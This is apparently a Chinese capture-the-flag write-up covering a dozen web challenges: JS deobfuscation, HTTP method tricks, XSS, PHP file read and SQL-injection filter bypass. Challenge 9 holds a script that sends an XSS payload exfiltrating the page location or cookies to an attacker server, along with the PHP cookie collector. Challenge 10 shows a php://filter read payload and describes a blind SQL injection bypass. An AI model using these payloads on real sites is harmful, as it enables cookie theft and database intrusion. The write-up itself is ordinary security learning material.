写wp的晚上平台挂了,随意的写一写
1.入门
传送门 tip:简直就是在送
右键 源码 复制 粘贴 提交
2.Are_you_European
传送门
我是解的js混淆做的,页面下面有混淆的js,用下面这个脚本解混淆
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 <script> a = 62 ; function encode ( ) { var code = document .getElementById ('code' ).value ; code = code.replace (/[\r\n]+/g , '' ); code = code.replace (/'/g , "\\'" ); var tmp = code.match (/\b(\w+)\b/g ); tmp.sort (); var dict = []; var i, t = '' ; for (var i = 0 ; i < tmp.length ; i++) { if (tmp[i] != t) dict.push (t = tmp[i]); } var len = dict.length ; var ch; for (i = 0 ; i < len; i++) { ch = num (i); code = code.replace (new RegExp ('\\b' + dict[i] + '\\b' , 'g' ), ch); if (ch == dict[i]) dict[i] = '' ; } document .getElementById ('code' ).value = "eval(function(p,a,c,k,e,d) {e=function(c) {return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))}; if(!''.replace(/^/,String)) {while(c--)d[e(c)]=k[c]e(c) ;k=[function(e){return d[e]}]; e=function(){return'\\\\w+'};c=1}; while(c--) if(k[c]) p=p.replace(new RegExp('\\\\b'+e(c)+'\\\\b','g'),k[c]); return p } (" + "'" + code + "'," + a + "," + len + ",'" + dict.join ('' ) + "'.split(''),0,{}))" ;} function num (c ) {return (c<a?'' :num (parseInt (c/a)))+((c=c%a)>35 ?String .fromCharCode (c+29 ): c.toString (36 ));} function run ( ) { eval (document .getElementById ('code' ).value ); } function decode ( ) { var code = document .getElementById ('code' ).value ; code = code.replace (/^eval/ , '' ); document .getElementById ('code' ).value = eval (code); } < /script> <textarea id="code" cols="80" rows="20"> </textarea > <input type = "button"value = "Encode" / > <input type = "button"value = "Run" / > <input type = "button"value = "Decode" / >
把前面这段保存成html文件,本地打开把混淆扔进去decode一下然后去格式化一下 然后看一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 function soHappy ( ) { var buy = confirm ("SSR!欧洲人,你愿意献祭你全部的 SSR 来获取 flag 吗?" ); if (!$("#serv5" ).html () && !$("#craft5" ).html ()) { alert ("你根本不是欧洲人。" ); return } var flag = "" ; flag += "c" ; flag += "n" ; flag += "s" ; flag += "s" ; flag += "{" ; flag += "T" ; flag += "h" ; flag += "3" ; flag += "_" ; flag += "C" ; flag += "h" ; flag += "0" ; flag += "s" ; flag += "e" ; flag += "N" ; flag += "_" ; flag += "0" ; flag += "n" ; flag += "E" ; flag += "!" ; flag += "}" ; if (buy) { $("#serv5" ).remove (); $("#craft5" ).remove (); alert ("兑换成功。flag: " + flag) } else { alert ("你失去了唯一的机会,明年再来吧。" ) } }
到这就很简单了chrome,F12 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 var flag = "" ; flag += "c" ; flag += "n" ; flag += "s" ; flag += "s" ; flag += "{" ; flag += "T" ; flag += "h" ; flag += "3" ; flag += "_" ; flag += "C" ; flag += "h" ; flag += "0" ; flag += "s" ; flag += "e" ; flag += "N" ; flag += "_" ; flag += "0" ; flag += "n" ; flag += "E" ; flag += "!" ; flag += "}" ;
然后啊...有个大佬说,他把times给改了....然后单抽出奇迹....可以可以厉害厉害666...
3.CTF选手没有视力
这个题没有地址了,因为平台已经关掉了,我也进不去了,这道题好像是某室内部成员找到后台的一个解释漏洞(不清楚能不能算,毕竟是后台嘛...),然后把输入框搞没了,然后只要恢复一下就ok,但flag是在源码里面,反正不难
4.最简单的
emmmmm记得不太清,但似乎是关于请求的一个题,地址找了半天 传送门
用的firefox的hackbar,python发请求或者burp抓包也可以
5.比入门难一点
访问index.php flag在背景中
6.7不太记得
有一个是雪梨姐姐和钱姐姐的比赛,然后改cookie过(似乎是前面的某个还是后面...不记得了),反正不是很难....
8.noway
这道题我记得,这个是wechall上面的题,查看.htaccess文件
没有ban掉to,move,直接burp抓个包过,考点是http的请求方式,详情看下面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 GET 通过请求URI得到资源 POST, 用于添加新的内容 PUT 用于修改某个内容 DELETE, 删除某个内容 CONNECT, 用于代理进行传输,如使用SSL OPTIONS 询问可以执行哪些方法 PATCH, 部分文档更改 PROPFIND, (wedav) 查看属性 PROPPATCH, (wedav) 设置属性 MKCOL, (wedav) 创建集合(文件夹) COPY, (wedav) 拷贝 MOVE, (wedav) 移动 LOCK, (wedav) 加锁 UNLOCK (wedav) 解锁 TRACE 用于远程诊断服务器 HEAD 类似于GET, 但是不返回body信息,用于检查对象是否存在,以及得到对象的元数据
apache2中,可使用Limit,LimitExcept进行访问控制的方法包括:GET, POST,
PUT, DELETE, CONNECT,OPTIONS, PATCH, PROPFIND, PROPPATCH, MKCOL, COPY,
MOVE, LOCK, 和 UNLOCK. 其中 HEAD GET POST OPTIONS
PROPFIND是和读取相关的方法, MKCOL PUT DELETE LOCK UNLOCK COPY MOVE
PROPPATCH是和修改相关的方法
这里还有一点就是php会将TO方法给解析成GET方法。那么我们就可以抓包,改为TO来请求index.php
9.Charming Boy
传送门
这道题就是个xss,写个python跑个md5,顺便发个payload过去
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import requestsimport hashlibdef md5 (src ): m2=hashlib.md5() m2.update(src.encode()) return m2.hexdigest() u=requests.session() r=u.get("http://game.mitah.cn/charming_boy/index.php" ) start=r.text.find("substr(md5($code),0,4) = " ) start+=len ('substr(md5($code),0,4) = ' ) code=r.text[start:start+4 ] ok='' for each in range (0 ,100000 ): if str (md5(str (each))[:4 ])==str (code): ok=str (each) break data={'message' :'''<Script>document.write ("<iframe width=0 height=0 src='http://localhost/cookie.php?xss="+ document.locatioonn.href +"'> </iframe>");</Script>''' ,'code' :ok}r=u.post('http://game.mitah.cn/charming_boy/post.php' ,data=data) print (r.text)
这里对script过滤了,第一次我检查的时候把script改成了scrscriptipt然后过了alert,但是似乎过iframe的时候挂了...发的信息就是让目标进入站点的时候请求我们的目标地址来加载iframe,然后就用get的参数发送了cookie(或地址)到我们的服务器上,然后这里代码写的是地址,要改成cookie的话把上面的xss="+
document.locatioonn.href(location里面的on被过滤了,用oonn绕过)改成xss="+document.cookie
服务器上面的cookie.php代码如下
1 2 3 4 5 <?php $str1 =$_GET ["xss" ];$myfile =fopen ("cookie.txt" ,'w' );fwrite ($myfile ,$str1 );fclose ($myfile );
然后发现请求的地址
http://game.mitah.cn/charming_boy/H3r3_1s_tH3_f1a9.php 带上cookie 得到空页面,看下源码,找到flag
10.Charming Girls
传送门
随便看下,然后扫了个目录,发现index.php,login.php什么的
然后有fun后面有相应参数,我们用php伪协议请求下文件
发现index不能请求到,然后其他的页面都没什么用,但是因为show页面有图,猜测存在数据库里面,
请求一下
http://mitah.cn:20000/charming_girls/?fun=php://filter/read=convert.base64-encode/resource=show&id=1
然后得到一串base64,解一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 <?php include ('connect.php' );if (is_array ($_REQUEST ['id' ])){ die ('Bad request!' ); } if (!empty ($_GET ['id' ])){ if (preg_match ('/(andorunionselectupdatedeleteinsertfromwherelimitsleep countconcatrandfloorsubstrasciicharmidorder version\(\)database\(\)user\(\)\#\-\-\'\" \=\*\&\\`)/i' , $_GET ['id' ])){ die ('Bad request!' ); } } else if (!empty ($_POST ['id' ])){ if (preg_match ('/(and.*\=.*or.*\=.*\&\&.*\=.*\\.*\=.* union selectselect.*from.*where limit .*,.*sleep(.*)if(.*) order by [0-9]*left(.*,.*) \`)/i' , $_POST ['id' ])){ die ('Bad request!' ); } } if (preg_match ('/( \=)/i' , $_REQUEST ['id' ])){ die ('Bad request!' ); } $id = $_REQUEST ['id' ];$query = "select * from pgg where id = '$id '" ;$result = $db ->query ($query );$rs = $result ->fetch_assoc ();?> <center> <table style="width:700px;height:300px;" > <tr> <th style="width:300px;height:300px;text-align:center;" > <img src="image/<?php echo $id ; ?>.jpg" width=300 height=300 style="display:inline" > </th> <th style="width:300px;height:300px;padding: 20px 20px 20px 30px;" > <h2><small> 姓名: <?php echo ($rs ['name' ])?$rs ['name' ]:"不详" ; ?> </h2> <h2><small> 年龄: <?php echo ($rs ['age' ])?$rs ['age' ]:"不详" ; ?> </h2> <h2><small> 身高: <?php echo ($rs ['height' ])?$rs ['height' ]:"不详" ; ?> </h2> <h2><small> 三围: <?php echo ($rs ['bwh' ])?$rs ['bwh' ]:"不详" ; ?> </h2> </th> </tr> </table> </center>
乍一看过滤了个七七八八,但再一看,如果对id同时get和post,就绕过了大多数过滤
但是注意他对空格和等号进行了正则匹配,我们空格用注释绕,等号用LIKE绕
最后要注意的就是,他把回显给关了,所以是个bool注,鉴于跑的东西多,写个脚本,我的脚本早就删掉了,payload大概长成
这里看出来他库中第一个表的第一个字母大于101 而且这个字母不大于102
所以就是102,即f,然后写个脚本注入下就ok了呗
这里要吐槽下,网站加载的超级慢,每次请求要等好久,反正最后就跑出flag了,不懂的话手工注入篇
后记后记
太菜了,这里是可以用union注的,代码如下.换行是为了好看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import requestsimport refor each in range (10 ): r=requests.post("http://mitah.cn:20000/charming_girls/?fun=show&id=1" ,data=payload) r.encoding=r.apparent_encoding temp=re.findall(r"<h2><small> 姓名:([^<]+)</h2>" ,r.text) print (temp)
11.手速?不存在的
真的是跑不出flag,ocr跑到了30位验证码然后挂了,死在第5关
12.心理测试
首先 猜测后缀是.ws,尝试一下
https://xn--g28hlb.ws/ 即两个表情连起来,后面加.ws 进入心理测试页面
要分数相同,那就先获取下分数列表,这里就不写了,自己去算
获取之后,写一个遍历分数的脚本(并不复杂)
然后找一下很容易找到了有一个返回下面有个d0_y0u_11ke_me.php 请求一下
发现是段源码审计...大概看了下,前面都好过的...
https://xn--g28hlb.ws/d0_y0u_11ke_me.php?a[]=123&b[]=123.0
列表绕md5,数字弱类型等,强类型不等,然后死在了shell的密码上面,这里我再whois上面找到了一些信息,比如
然后找社工库,失败了,然后招新就结束了